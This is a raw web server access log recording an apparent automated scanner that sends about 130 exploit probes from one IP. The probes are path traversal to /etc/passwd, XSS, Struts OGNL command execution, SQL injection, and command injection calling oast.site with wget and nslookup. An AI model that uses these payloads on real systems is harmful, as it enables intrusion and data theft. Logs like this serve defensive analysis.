[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/tools.php?content&wp-attachment-export-download=true HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /system/console?.css HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /webadmin/auth/verification.php HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?p=banlist&advSearch=0%27%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&advType=btype HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backupmgt/pre_connect_check.php?auth_name=fail;wget+http://d5g6sfahausljekepl204hfkjujiq4cgs.oast.site; HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /novius-os/admin/nos/login?redirect=http://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wp-swimteam/include/user/download.php?file=/etc/passwd&filename=/etc/passwd&contenttype=text/html&transient=1&abspath=/usr/share/wordpress HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/./simple-image-manipulator/controller/download.php?filepath=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/anti-plagiarism/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/robotcpa/f.php?l=ZmlsZTovLy9ldGMvcGFzc3dk HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/e-search/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/ajax-random-post/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fw/mindex.do?url=./WEB-INF/web.xml%3f HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/defa-online-image-protector/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/enhanced-tooltipglossary/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/hdw-tube/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //lib/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /spaces/viewdefaultdecorator.action?decoratorName HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/forget-about-shortcode-buttons/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/hero-maps-pro/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/admin-font-editor/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/indexisto/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/new-year-firework/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/page-layout-builder/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/e-search/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmail/old/calendar/minimizer/index.php?style=...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2fetc%2fpasswd HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/parsi-font/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webadmin/policy/category_table_ajax.php?customctid=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bonita/portal/themeResource?theme=portal/../../../../../../../../../../../../../../../../&location=Windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/infusionsoft/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/tidio-form/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/photoxhibit/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/tidio-gallery/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wpsolr-search-engine/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/whizz/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /monitoring/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?author=1 HTTP/1.1" 226
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0):: HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/hdw-tube/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-content/plugins/wsecure/wsecure-config.php HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.action?redirect%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /names.nsf/People?OpenView HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/s3-video/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/simpel-reserveren/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /WEB_VMS/LEVEL15/ HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wp-planet/rss.class/scripts/magpie_debug.php?url=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/sniplets/modules/syntax_highlight.php?libpath=../../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webclient/ HTTP/1.1" 196
[09/Jan/2026:10:51:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login.html HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login.action HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //cgi-bin/status HTTP/1.1" 199
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /oauth/authorize?response_type=${13337*73331}&client_id=acme&scope=openid&redirect_uri=http://test HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?author=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 3426
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /boardDataWW.php HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/;cat$IFS/etc/passwd HTTP/1.1" 199
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /_search HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /fileserver/380CxxXfpI4nur7D9oI0ntcfEc8.txt HTTP/1.1" 220
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /BSW_cxttongr.htm HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=cat%20/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /servlets/FetchFile?fileName=../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=XXXXXXXXXXXX<svg/onload=alert(document.domain)>&dSecurityGroup&QueryText=(dInDate+>=+%60<$dateCurrent(-7)$>%60)&PageTitle=OO HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /~user/%0D%0ASet-Cookie:crlfinjection HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /resource/file%3a///etc/passwd/ HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_next/../../../../../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /visualrf/group_list.xml?aps=1&start=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&end=500&match HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /getGfiUpgradeFile?fileName=../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /src/help.php?chapter=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //faces/javax.faces.resource/web.xml?loc=../WEB-INF HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /typo3conf/ext/restler/vendor/luracast/restler/public/examples/resources/getsource.php?file=../../../../../../../LocalConfiguration.php HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dokuwiki/doku.php?id=wiki:welcome&at=<svg%20onload=alert(document.domain)> HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /search/members/?id`%3D520)%2f**%2funion%2f**%2fselect%2f**%2f1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2Cunhex%28%27627a71776b%27%29%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%23sqli=1 HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /DnnImageHandler.ashx?mode=file&url=http://d5g6sfahausljekepl20ywtcycpanyxec.oast.site HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webadmin/pkg?command=<script>alert(document.cookie)</script> HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.../.../.../.../.../.../.../.../.../windows/win.ini HTTP/1.1" 199
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /composer/send_email?to=ExwO@NAVB&url=http://d5g6sfahausljekepl20ekfxpcdsjtc48.oast.site HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /blog/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /gsearch.php.en?prod=';prompt`document.domain`;// HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS?/.. HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /XMII/Catalog?Mode=GetFileList&Path=Classes/../../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wls-wsat/RegistrationRequesterPortType HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /?gf_page=upload HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27 HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /__debugging_center_utils___.php?log=;echo%20rkrhewdlcozxzdefctrtgmhzlzkcevvr%20|%20id HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?redirect=/\\interact.sh HTTP/1.1" 3426
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login?redir=http://www.interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/raygun4wp/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/amty-thumb-recent-post/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /create_user/?username=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /380Cxtu4kQxyMEfNvxd5HGkDsmp.jsp/ HTTP/1.1" 220
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wp-mailster/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /vsaPres/Web20/core/LocalProxy.ashx?url=http://oast.me HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /services/getFile.cmd?userfile=config.xml HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /passwordrecovered.cgi?id=Ae0cC HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /current_config/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,md5(999999999)),1) HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /clients/editclient.php?id=380CyAT3DjyZunfpzjBqWWRX6Q2&action=update HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/../../../a/../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /magmi/web/ajax_gettime.php?prefix=%22%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3C HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-content/plugins/delightful-downloads/assets/vendor/jqueryFileTree/connectors/jqueryFileTree.php HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wls-wsat/CoordinatorPortType HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webadmin/script?command=|%20nslookup%20d5g6sfahausljekepl20u5kyejsbiyw1t.oast.site HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /_snapshot/test2 HTTP/1.1" 220
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/mail-masta/inc/lists/csvexport.php?pl=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /invoker/JMXInvokerServlet/ HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /_users/org.couchdb.user:poc HTTP/1.1" 220
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /solr/admin/cores?wt=json HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /carbon/resources/add_collection_ajaxprocessor.jsp?collectionName=%3Cimg%20src=x%20onerror=alert(document.domain)%3E&parentPath=%3Cimg%20src=x%20onerror=alert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/webproc?getpage=/etc/passwd&var:language=en_us&var:page=wizardfifth HTTP/1.1" 199
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /esp/cms_changeDeviceContext.esp?device=aaaaa:a%27\";user|s.\"1337\"; HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /maint/index.php?packages HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plus/recommend.php?action&aid=1&_FILES[type][tmp_name]=\\%27%20or%20mid=@`\\%27`%20/*!50000union*//*!50000select*/1,2,3,md5(999999999),5,6,7,8,9%23@`\\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294 HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%5C../ssl/yaws-key.pem HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmail/?language=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /poc.jsp/ HTTP/1.1" 220
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /verify.php?id=1&confirm_hash HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CMSInstall/install.aspx HTTP/1.1" 196
